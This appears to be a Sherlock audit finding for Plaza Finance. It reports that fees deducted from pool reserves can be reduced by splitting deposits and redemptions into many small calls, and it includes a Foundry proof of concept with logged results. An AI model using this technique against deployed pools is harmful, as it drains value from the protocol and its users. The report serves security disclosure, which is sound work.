Skip to content

Latest commit

 

History

History
127 lines (99 loc) · 4.73 KB

File metadata and controls

127 lines (99 loc) · 4.73 KB

Winning Rosewood Opossum

High

Users can perform fee manipulations to limit their fee exposure

Summary

The incorrect fee subtraction in the simulateCreate and simulateRedeem functions will allow fee manipulations.

Root Cause

We can see that the fee is removed from the poolReserves in both simulateCreate and simulateRedeem functions. However since fee is derived from the current reserve token balance, this will mean that fee will be subject to change whenever poolReserves is updated. For example if the fee is 10% with the current implementation upon depositing these 10% will be removed from the poolReserves: https://github.com/sherlock-audit/2024-12-plaza-finance/blob/14a962c52a8f4731bbe4655a2f6d0d85e144c7c2/plaza-evm/src/Pool.sol#L433 However a user could take advantage of the fact that fees are increased anytime the poolReserves increases leading to a decreased price per share and manipulate create create, by splitting the amount they wanted to deposit into multiple small amounts.

Internal Pre-conditions

1.There should be an accumulated fee in the PoC below the fee will be 10% accumulated for 1 year which has not been claimed

External Pre-conditions

N/A

Attack Path

  1. The attacker will want to deposit 1e18 to mint leverage tokens.
  2. They will simply split the 1e18 tokens into 100 portions of 0.01e18

Impact

Users will be able to manipulate the create and redeem functions to extract more value.

PoC

Firstly run testManipulationFeeLogic1 in the Pool.t.sol and change the fee to 100000 or you can use the test environment in the following link: https://gist.github.com/novaman33/569c8867dfe6f4cae4ef392651893350

 function testManipulationFeeLogic1() public {
        vm.startPrank(governance);
        Token rToken = Token(params.reserveToken);
        rToken.mint(governance, 600e18);
        rToken.approve(address(poolFactory), 600e18);
        setEthPrice(3000e8); //set the price to $300
        // Create salt to create the pool at a different address
        string memory salt = "tester";

        // Create pool and approve deposit amount
        Pool _pool = Pool(poolFactory.createPool(params, 6e18, 140e18, 1e18, "", salt, "", "", false));
        vm.warp(365 days);
        setEthPrice(3000e8);
        address bob = address(0x01);
        rToken.mint(bob, 2e18);
        vm.stopPrank();
        vm.startPrank(bob);

        rToken.approve(address(_pool), 2e18);
        _pool.create(Pool.TokenType.LEVERAGE, 2e18, 0);

        uint256 bobBalanceLeverage = LeverageToken(_pool.lToken()).balanceOf(bob);
        console.log(bobBalanceLeverage);
        uint256 sumRedeemed = 0;
        sumRedeemed = _pool.redeem(Pool.TokenType.LEVERAGE, bobBalanceLeverage, 0);

        console.log(sumRedeemed);
    }

The output for the leverage tokens created and then redeemed is the following:

[PASS] testManipulationFeeLogic1() (gas: 1968178)
Logs:
  1851851845564700524
  1644444438861454065

Now you can run the testManipulationFeeLogic3 which splits the total amount into multiple smaller ones in order to minimize the fee exposure:

 function testManipulationFeeLogic3() public {
        vm.startPrank(governance);
        Token rToken = Token(params.reserveToken);
        rToken.mint(governance, 600e18);
        rToken.approve(address(poolFactory), 600e18);
        setEthPrice(3000e8); //set the price to $300
        // Create salt to create the pool at a different address
        string memory salt = "tester";

        // Create pool and approve deposit amount
        Pool _pool = Pool(poolFactory.createPool(params, 6e18, 140e18, 1e18, "", salt, "", "", false));
        vm.warp(365 days);
        setEthPrice(3000e8);
        address bob = address(0x01);
        rToken.mint(bob, 2e18);
        vm.stopPrank();
        vm.startPrank(bob);

        rToken.approve(address(_pool), 2e18);
        // _pool.create(Pool.TokenType.LEVERAGE, 2e18, 0);

        for (uint256 i = 0; i < 100; i++) {
            _pool.create(Pool.TokenType.LEVERAGE, 2e18 / 100, 0);
        }
        uint256 bobBalanceLeverage = LeverageToken(_pool.lToken()).balanceOf(bob);
        console.log(bobBalanceLeverage);
        uint256 sumRedeemed = 0;
        //sumRedeemed = _pool.redeem(Pool.TokenType.LEVERAGE, bobBalanceLeverage, 0);
        for (uint256 i = 0; i < 100; i++) {
            sumRedeemed += _pool.redeem(Pool.TokenType.LEVERAGE, bobBalanceLeverage / 100, 0); //999 999 999 999 999 999
        }

        console.log(sumRedeemed);
        //@audit by splitting withdraws
    }

The output will be the following:

[PASS] testManipulationFeeLogic3() (gas: 8987883)
Logs:
  2691934180321350574
  1990907274239043705

As you can see the amount minted is drastically increased.

Mitigation

No response